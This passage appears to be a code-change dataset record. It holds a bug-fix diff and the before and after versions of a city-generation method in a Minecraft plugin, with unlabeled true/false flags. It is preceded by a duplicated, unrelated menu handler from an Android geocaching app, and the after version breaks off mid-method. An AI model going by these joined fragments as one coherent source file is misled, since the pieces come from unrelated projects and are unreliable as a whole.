overlayCaches.switchCircles(); mapView.repaintRequired(overlayCaches); return true; case MENU_AS_LIST: { final cgSearch search = new cgSearch(); search.totalCnt = caches.size(); for (cgCache cache : caches) { search.addGeocode(cache.geocode); } cgeocaches.startActivityMap(activity, app.addSearch(search, caches, true, 0)); return true; } default: if (SUBMENU_VIEW_GOOGLE_MAP <= id && SUBMENU_VIEW_MF_OFFLINE >= id) { item.setChecked(true); mapSourceEnum mapSource = getMapSourceFromMenuId(id); boolean mapRestartRequired = switchMapSource(mapSource); if (mapRestartRequired) { // close old mapview activity.finish(); // prepare information to restart a similar view Intent mapIntent = new Intent(activity, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, fromDetailIntent); mapIntent.putExtra(EXTRAS_SEARCH, searchIntent); mapIntent.putExtra(EXTRAS_GEOCODE, geocodeIntent); if (coordsIntent != null) { mapIntent.putExtra(EXTRAS_LATITUDE, coordsIntent.getLatitude()); mapIntent.putExtra(EXTRAS_LONGITUDE, coordsIntent.getLongitude()); } mapIntent.putExtra(EXTRAS_WPTTYPE, waypointTypeIntent != null ? waypointTypeIntent.id : null); int[] mapState = new int[4]; GeoPointImpl mapCenter = mapView.getMapViewCenter(); mapState[0] = mapCenter.getLatitudeE6(); mapState[1] = mapCenter.getLongitudeE6(); mapState[2] = mapView.getMapZoomLevel(); mapState[3] = followMyLocation ? 1 : 0; mapIntent.putExtra(EXTRAS_MAPSTATE, mapState); // start the new map activity.startActivity(mapIntent); } return true; } else { NavigationAppFactory.onMenuItemSelected(item, geo, activity, res, caches != null && caches.size() > 0 ? caches.get(0) : null, search, null, coordsIntent); } break; } return false; }
public boolean onOptionsItemSelected(MenuItem item) { final int id = item.getItemId(); switch (id) { case MENU_TRAIL_MODE: Settings.setMapTrail(!Settings.isMapTrail()); return true; case MENU_MAP_LIVE: Settings.setLiveMap(!Settings.isLiveMap()); liveChanged = true; search = null; searchIntent = null; return true; case MENU_STORE_CACHES: if (live && !isLoading() && CollectionUtils.isNotEmpty(caches)) { final List<String> geocodes = new ArrayList<String>(); List<cgCache> cachesProtected = new ArrayList<cgCache>(caches); try { if (cachesProtected.size() > 0) { final GeoPointImpl mapCenter = mapView.getMapViewCenter(); final int mapCenterLat = mapCenter.getLatitudeE6(); final int mapCenterLon = mapCenter.getLongitudeE6(); final int mapSpanLat = mapView.getLatitudeSpan(); final int mapSpanLon = mapView.getLongitudeSpan(); for (cgCache oneCache : cachesProtected) { if (oneCache != null && oneCache.coords != null) { if (cgBase.isCacheInViewPort(mapCenterLat, mapCenterLon, mapSpanLat, mapSpanLon, oneCache.coords) && !app.isOffline(oneCache.geocode, null)) { geocodes.add(oneCache.geocode); } } } } } catch (Exception e) { Log.e(Settings.tag, "cgeomap.onOptionsItemSelected.#4: " + e.toString()); } detailTotal = geocodes.size(); detailProgress = 0; if (detailTotal == 0) { ActivityMixin.showToast(activity, res.getString(R.string.warn_save_nothing)); return true; } final LoadDetailsHandler loadDetailsHandler = new LoadDetailsHandler(); waitDialog = new ProgressDialog(activity); waitDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); waitDialog.setCancelable(true); waitDialog.setCancelMessage(loadDetailsHandler.cancelMessage()); waitDialog.setMax(detailTotal); waitDialog.setOnCancelListener(new DialogInterface.OnCancelListener() { public void onCancel(DialogInterface arg0) { try { if (loadDetailsThread != null) { loadDetailsThread.stopIt(); } if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } } catch (Exception e) { Log.e(Settings.tag, "cgeocaches.onPrepareOptionsMenu.onCancel: " + e.toString()); } } }); Float etaTime = Float.valueOf((detailTotal * (float) 7) / 60); if (etaTime < 0.4) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + res.getString(R.string.caches_eta_ltm)); } else if (etaTime < 1.5) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_min)); } else { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_mins)); } waitDialog.show(); detailProgressTime = System.currentTimeMillis(); loadDetailsThread = new LoadDetails(loadDetailsHandler, geocodes); loadDetailsThread.start(); } return true; case MENU_CIRCLE_MODE: if (overlayCaches == null) { return false; } overlayCaches.switchCircles(); mapView.repaintRequired(overlayCaches); return true; case MENU_AS_LIST: { final cgSearch search = new cgSearch(); search.totalCnt = caches.size(); for (cgCache cache : caches) { search.addGeocode(cache.geocode); } cgeocaches.startActivityMap(activity, app.addSearch(search, caches, true, 0)); return true; } default: if (SUBMENU_VIEW_GOOGLE_MAP <= id && SUBMENU_VIEW_MF_OFFLINE >= id) { item.setChecked(true); mapSourceEnum mapSource = getMapSourceFromMenuId(id); boolean mapRestartRequired = switchMapSource(mapSource); if (mapRestartRequired) { // close old mapview activity.finish(); // prepare information to restart a similar view Intent mapIntent = new Intent(activity, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, fromDetailIntent); mapIntent.putExtra(EXTRAS_SEARCH, searchIntent); mapIntent.putExtra(EXTRAS_GEOCODE, geocodeIntent); if (coordsIntent != null) { mapIntent.putExtra(EXTRAS_LATITUDE, coordsIntent.getLatitude()); mapIntent.putExtra(EXTRAS_LONGITUDE, coordsIntent.getLongitude()); } mapIntent.putExtra(EXTRAS_WPTTYPE, waypointTypeIntent != null ? waypointTypeIntent.id : null); int[] mapState = new int[4]; GeoPointImpl mapCenter = mapView.getMapViewCenter(); mapState[0] = mapCenter.getLatitudeE6(); mapState[1] = mapCenter.getLongitudeE6(); mapState[2] = mapView.getMapZoomLevel(); mapState[3] = followMyLocation ? 1 : 0; mapIntent.putExtra(EXTRAS_MAPSTATE, mapState); // start the new map activity.startActivity(mapIntent); } return true; } else { NavigationAppFactory.onMenuItemSelected(item, geo, activity, res, caches != null && caches.size() > 0 ? caches.get(0) : null, search, null, coordsIntent); } break; } return false; }
diff --git a/src/ch/k42/metropolis/model/parcel/DistrictParcel.java b/src/ch/k42/metropolis/model/parcel/DistrictParcel.java index 4eac754..34b8ac8 100644 --- a/src/ch/k42/metropolis/model/parcel/DistrictParcel.java +++ b/src/ch/k42/metropolis/model/parcel/DistrictParcel.java @@ -1,268 +1,268 @@ package ch.k42.metropolis.model.parcel; import ch.k42.metropolis.generator.MetropolisGenerator; import ch.k42.metropolis.model.enums.Direction; import ch.k42.metropolis.minions.GridRandom; import ch.k42.metropolis.WorldEdit.*; import ch.k42.metropolis.model.provider.ContextProvider; import ch.k42.metropolis.model.enums.ContextType; import ch.k42.metropolis.model.grid.Grid; import org.bukkit.Chunk; import java.util.List; import java.util.Random; /** * Created with IntelliJ IDEA. * User: Thomas * Date: 17.09.13 * Time: 15:14 * To change this template use File | Settings | File Templates. */ public class DistrictParcel extends Parcel { private DistrictParcel partition1; // if it gets partitioned, used this two to save them private DistrictParcel partition2; private Parcel parcel = null; //it it doesn't get partitioned, only placed, use this public DistrictParcel(Grid grid, int chunkX, int chunkZ, int chunkSizeX, int chunkSizeZ) { super(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, ContextType.UNDEFINED); grid.fillParcels(chunkX, chunkZ, this); } private Grid grid; private boolean fallback; public void populate(MetropolisGenerator generator, Chunk chunk) { /* * TODO * * This function has grown too big & complex, it should be divided into understandable * blocks * * 1. No iterations? * * 2. No streets? * * 3. Partion and go back to 1. * */ fallback = generator.getPlugin().getMetropolisConfig().allowDirectionFallbackPlacing(); ClipboardProvider clips = generator.getClipboardProvider(); grid = generator.getGridProvider().getGrid(chunkX, chunkZ); GridRandom random = grid.getRandom(); ContextProvider context = generator.getContextProvider(); Direction roadDir = findRoad(random); boolean roadFacing = roadDir != Direction.NONE; if (!roadFacing) { roadDir = Direction.getRandomDirection(random); } // TODO Randomly choose size! ContextType localContext = context.getContext(chunkX, chunkZ); List<Clipboard> schems = clips.getFit(chunkSizeX, chunkSizeZ, localContext, roadDir, roadFacing); //just use context in one corner int buildChance = 100; //schems.size() > 0 ? 80 - (65/(schems.size()+1)) : 0; // FIXME Not normalized! //---- Randomly decide to place a schematic, first find one with correct orientation, if none found, place any that fits context if (random.getChance(buildChance)) { //FIXME Hardcoded if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { //fixme potential endless loop schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { // find a schematic, but ignore road generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext + "going over to fallback"); //FALLBACK if (fallback) { schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner //TODO use Direction.NONE if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext); } } } } //--- if ((chunkSizeX < 2) && (chunkSizeZ < 2)) { //no more iterations schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); return; } else { //=====FALLBACK - generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ, 1) + "going over to fallback"); + generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ) + "going over to fallback"); //FALLBACK - schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ, 1), roadDir, false); //just use context in one corner + schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, false); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); grid.getStatistics().logSchematic(schem); // make log entry return; } parcel = new EmptyParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ); generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ)); } return; // in every case! we can't partition more! 1x1 should be available } final int blockSize = 14; final int sigma_factor = 6; generator.reportDebug("chunkSizeX: " + chunkSizeX + ", chunkSizeZ: " + chunkSizeZ); // Failed? partition into 2 sub lots if (chunkSizeX > chunkSizeZ) { //if(sizeX>sizeZ){ // cut longer half, might prevent certain sizes to occur double mean = chunkSizeX / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); //random.getRandomInt(1,chunkSizeX-1); if (cut < 1) cut = 1; else if (cut > chunkSizeX - 2) cut = chunkSizeX - 2; //partitionX(grid,cut); if (chunkSizeX < blockSize) { //FIXME Hardcoded if (chunkSizeX > 8) { if (random.getChance(50)) { partitionX(grid, 6); } else { partitionX(grid, chunkSizeX - 6); } } else if (chunkSizeX > 4) { int offset = random.getRandomInt(1, chunkSizeX-1); partitionX(grid, offset); } else { partitionX(grid, 1); } } else { partitionXwithRoads(grid, cut); } } else { //FIXME Hardcoded double mean = chunkSizeZ / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); if (cut < 1) // sanitize cut cut = 1; else if (cut > chunkSizeZ - 2) cut = chunkSizeZ - 2; //partitionZ(grid,cut); if (chunkSizeZ < blockSize) { // No place for streets if (chunkSizeZ > 8) { if (random.getChance(50)) { partitionZ(grid, 6); } else { partitionZ(grid, chunkSizeZ - 6); } } else if (chunkSizeZ > 4) { int offset = random.getRandomInt(1, chunkSizeZ-1); partitionZ(grid, offset); } else { partitionZ(grid, 1); } } else { //put a street inbetween partitionZwithRoads(grid, cut); } } partition1.populate(generator, chunk); partition2.populate(generator, chunk); } @Override public void postPopulate(MetropolisGenerator generator, Chunk chunk) { if (partition1 != null) partition1.postPopulate(generator, chunk); if (partition2 != null) partition2.postPopulate(generator, chunk); } private int getNormalCut(double mean, double sigma, GridRandom random) { return (int) Math.round(mean + random.getRandomGaussian() * sigma); } private Direction findRoad(GridRandom random) { boolean northP = grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.HIGHWAY); boolean southP = grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.HIGHWAY); boolean westP = grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.HIGHWAY); boolean eastP = grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.HIGHWAY); return Direction.getRandomDirection(random, northP, southP, eastP, westP); // haven't found any streets } private void partitionXwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); for (int i = chunkZ; i < chunkZ + chunkSizeZ; i++) { grid.setParcel(chunkX + cut, i, new RoadParcel(grid, chunkX + cut, i)); } partition2 = new DistrictParcel(grid, chunkX + cut + 1, chunkZ, chunkSizeX - cut - 1, chunkSizeZ); } private void partitionX(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); partition2 = new DistrictParcel(grid, chunkX + cut, chunkZ, chunkSizeX - cut, chunkSizeZ); } private void partitionZwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); for (int i = chunkX; i < chunkX + chunkSizeX; i++) { grid.setParcel(i, chunkZ + cut, new RoadParcel(grid, i, chunkZ + cut)); } partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut + 1, chunkSizeX, chunkSizeZ - cut - 1); } private void partitionZ(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut, chunkSizeX, chunkSizeZ - cut); } }
false
true
public void populate(MetropolisGenerator generator, Chunk chunk) { /* * TODO * * This function has grown too big & complex, it should be divided into understandable * blocks * * 1. No iterations? * * 2. No streets? * * 3. Partion and go back to 1. * */ fallback = generator.getPlugin().getMetropolisConfig().allowDirectionFallbackPlacing(); ClipboardProvider clips = generator.getClipboardProvider(); grid = generator.getGridProvider().getGrid(chunkX, chunkZ); GridRandom random = grid.getRandom(); ContextProvider context = generator.getContextProvider(); Direction roadDir = findRoad(random); boolean roadFacing = roadDir != Direction.NONE; if (!roadFacing) { roadDir = Direction.getRandomDirection(random); } // TODO Randomly choose size! ContextType localContext = context.getContext(chunkX, chunkZ); List<Clipboard> schems = clips.getFit(chunkSizeX, chunkSizeZ, localContext, roadDir, roadFacing); //just use context in one corner int buildChance = 100; //schems.size() > 0 ? 80 - (65/(schems.size()+1)) : 0; // FIXME Not normalized! //---- Randomly decide to place a schematic, first find one with correct orientation, if none found, place any that fits context if (random.getChance(buildChance)) { //FIXME Hardcoded if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { //fixme potential endless loop schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { // find a schematic, but ignore road generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext + "going over to fallback"); //FALLBACK if (fallback) { schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner //TODO use Direction.NONE if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext); } } } } //--- if ((chunkSizeX < 2) && (chunkSizeZ < 2)) { //no more iterations schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); return; } else { //=====FALLBACK generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ, 1) + "going over to fallback"); //FALLBACK schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ, 1), roadDir, false); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); grid.getStatistics().logSchematic(schem); // make log entry return; } parcel = new EmptyParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ); generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ)); } return; // in every case! we can't partition more! 1x1 should be available } final int blockSize = 14; final int sigma_factor = 6; generator.reportDebug("chunkSizeX: " + chunkSizeX + ", chunkSizeZ: " + chunkSizeZ); // Failed? partition into 2 sub lots if (chunkSizeX > chunkSizeZ) { //if(sizeX>sizeZ){ // cut longer half, might prevent certain sizes to occur double mean = chunkSizeX / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); //random.getRandomInt(1,chunkSizeX-1); if (cut < 1) cut = 1; else if (cut > chunkSizeX - 2) cut = chunkSizeX - 2; //partitionX(grid,cut); if (chunkSizeX < blockSize) { //FIXME Hardcoded if (chunkSizeX > 8) { if (random.getChance(50)) { partitionX(grid, 6); } else { partitionX(grid, chunkSizeX - 6); } } else if (chunkSizeX > 4) { int offset = random.getRandomInt(1, chunkSizeX-1); partitionX(grid, offset); } else { partitionX(grid, 1); } } else { partitionXwithRoads(grid, cut); } } else { //FIXME Hardcoded double mean = chunkSizeZ / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); if (cut < 1) // sanitize cut cut = 1; else if (cut > chunkSizeZ - 2) cut = chunkSizeZ - 2; //partitionZ(grid,cut); if (chunkSizeZ < blockSize) { // No place for streets if (chunkSizeZ > 8) { if (random.getChance(50)) { partitionZ(grid, 6); } else { partitionZ(grid, chunkSizeZ - 6); } } else if (chunkSizeZ > 4) { int offset = random.getRandomInt(1, chunkSizeZ-1); partitionZ(grid, offset); } else { partitionZ(grid, 1); } } else { //put a street inbetween partitionZwithRoads(grid, cut); } } partition1.populate(generator, chunk); partition2.populate(generator, chunk); } @Override public void postPopulate(MetropolisGenerator generator, Chunk chunk) { if (partition1 != null) partition1.postPopulate(generator, chunk); if (partition2 != null) partition2.postPopulate(generator, chunk); } private int getNormalCut(double mean, double sigma, GridRandom random) { return (int) Math.round(mean + random.getRandomGaussian() * sigma); } private Direction findRoad(GridRandom random) { boolean northP = grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.HIGHWAY); boolean southP = grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.HIGHWAY); boolean westP = grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.HIGHWAY); boolean eastP = grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.HIGHWAY); return Direction.getRandomDirection(random, northP, southP, eastP, westP); // haven't found any streets } private void partitionXwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); for (int i = chunkZ; i < chunkZ + chunkSizeZ; i++) { grid.setParcel(chunkX + cut, i, new RoadParcel(grid, chunkX + cut, i)); } partition2 = new DistrictParcel(grid, chunkX + cut + 1, chunkZ, chunkSizeX - cut - 1, chunkSizeZ); } private void partitionX(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); partition2 = new DistrictParcel(grid, chunkX + cut, chunkZ, chunkSizeX - cut, chunkSizeZ); } private void partitionZwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); for (int i = chunkX; i < chunkX + chunkSizeX; i++) { grid.setParcel(i, chunkZ + cut, new RoadParcel(grid, i, chunkZ + cut)); } partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut + 1, chunkSizeX, chunkSizeZ - cut - 1); } private void partitionZ(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut, chunkSizeX, chunkSizeZ - cut); } }
public void populate(MetropolisGenerator generator, Chunk chunk) { /* * TODO * * This function has grown too big & complex, it should be divided into understandable * blocks * * 1. No iterations? * * 2. No streets? * * 3. Partion and go back to 1. * */ fallback = generator.getPlugin().getMetropolisConfig().allowDirectionFallbackPlacing(); ClipboardProvider clips = generator.getClipboardProvider(); grid = generator.getGridProvider().getGrid(chunkX, chunkZ); GridRandom random = grid.getRandom(); ContextProvider context = generator.getContextProvider(); Direction roadDir = findRoad(random); boolean roadFacing = roadDir != Direction.NONE; if (!roadFacing) { roadDir = Direction.getRandomDirection(random); } // TODO Randomly choose size! ContextType localContext = context.getContext(chunkX, chunkZ); List<Clipboard> schems = clips.getFit(chunkSizeX, chunkSizeZ, localContext, roadDir, roadFacing); //just use context in one corner int buildChance = 100; //schems.size() > 0 ? 80 - (65/(schems.size()+1)) : 0; // FIXME Not normalized! //---- Randomly decide to place a schematic, first find one with correct orientation, if none found, place any that fits context if (random.getChance(buildChance)) { //FIXME Hardcoded if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { //fixme potential endless loop schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { // find a schematic, but ignore road generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext + "going over to fallback"); //FALLBACK if (fallback) { schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner //TODO use Direction.NONE if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, localContext, roadDir); parcel.populate(generator, chunk); return; } else { generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + localContext); } } } } //--- if ((chunkSizeX < 2) && (chunkSizeZ < 2)) { //no more iterations schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, roadFacing); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); return; } else { //=====FALLBACK generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ) + "going over to fallback"); //FALLBACK schems = clips.getFit(chunkSizeX, chunkSizeZ, context.getContext(chunkX, chunkZ), roadDir, false); //just use context in one corner if (schems != null && schems.size() > 0) { generator.reportDebug("Found " + schems.size() + " schematics for this spot, placing one"); Clipboard schem = schems.get(random.getRandomInt(schems.size())); while (!random.getChance(schem.getSettings().getOddsOfAppearance())) { schem = schems.get(random.getRandomInt(schems.size())); } parcel = new ClipboardParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ, schem, context.getContext(chunkX, chunkZ), roadDir); parcel.populate(generator, chunk); grid.getStatistics().logSchematic(schem); // make log entry return; } parcel = new EmptyParcel(grid, chunkX, chunkZ, chunkSizeX, chunkSizeZ); generator.reportDebug("No schems found for size " + chunkSizeX + "x" + chunkSizeZ + " , context=" + context.getContext(chunkX, chunkZ)); } return; // in every case! we can't partition more! 1x1 should be available } final int blockSize = 14; final int sigma_factor = 6; generator.reportDebug("chunkSizeX: " + chunkSizeX + ", chunkSizeZ: " + chunkSizeZ); // Failed? partition into 2 sub lots if (chunkSizeX > chunkSizeZ) { //if(sizeX>sizeZ){ // cut longer half, might prevent certain sizes to occur double mean = chunkSizeX / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); //random.getRandomInt(1,chunkSizeX-1); if (cut < 1) cut = 1; else if (cut > chunkSizeX - 2) cut = chunkSizeX - 2; //partitionX(grid,cut); if (chunkSizeX < blockSize) { //FIXME Hardcoded if (chunkSizeX > 8) { if (random.getChance(50)) { partitionX(grid, 6); } else { partitionX(grid, chunkSizeX - 6); } } else if (chunkSizeX > 4) { int offset = random.getRandomInt(1, chunkSizeX-1); partitionX(grid, offset); } else { partitionX(grid, 1); } } else { partitionXwithRoads(grid, cut); } } else { //FIXME Hardcoded double mean = chunkSizeZ / 2.0; double sigma = mean / sigma_factor; int cut = getNormalCut(mean, sigma, random); if (cut < 1) // sanitize cut cut = 1; else if (cut > chunkSizeZ - 2) cut = chunkSizeZ - 2; //partitionZ(grid,cut); if (chunkSizeZ < blockSize) { // No place for streets if (chunkSizeZ > 8) { if (random.getChance(50)) { partitionZ(grid, 6); } else { partitionZ(grid, chunkSizeZ - 6); } } else if (chunkSizeZ > 4) { int offset = random.getRandomInt(1, chunkSizeZ-1); partitionZ(grid, offset); } else { partitionZ(grid, 1); } } else { //put a street inbetween partitionZwithRoads(grid, cut); } } partition1.populate(generator, chunk); partition2.populate(generator, chunk); } @Override public void postPopulate(MetropolisGenerator generator, Chunk chunk) { if (partition1 != null) partition1.postPopulate(generator, chunk); if (partition2 != null) partition2.postPopulate(generator, chunk); } private int getNormalCut(double mean, double sigma, GridRandom random) { return (int) Math.round(mean + random.getRandomGaussian() * sigma); } private Direction findRoad(GridRandom random) { boolean northP = grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ - 1).getContextType().equals(ContextType.HIGHWAY); boolean southP = grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX, chunkZ + chunkSizeZ).getContextType().equals(ContextType.HIGHWAY); boolean westP = grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX - 1, chunkZ).getContextType().equals(ContextType.HIGHWAY); boolean eastP = 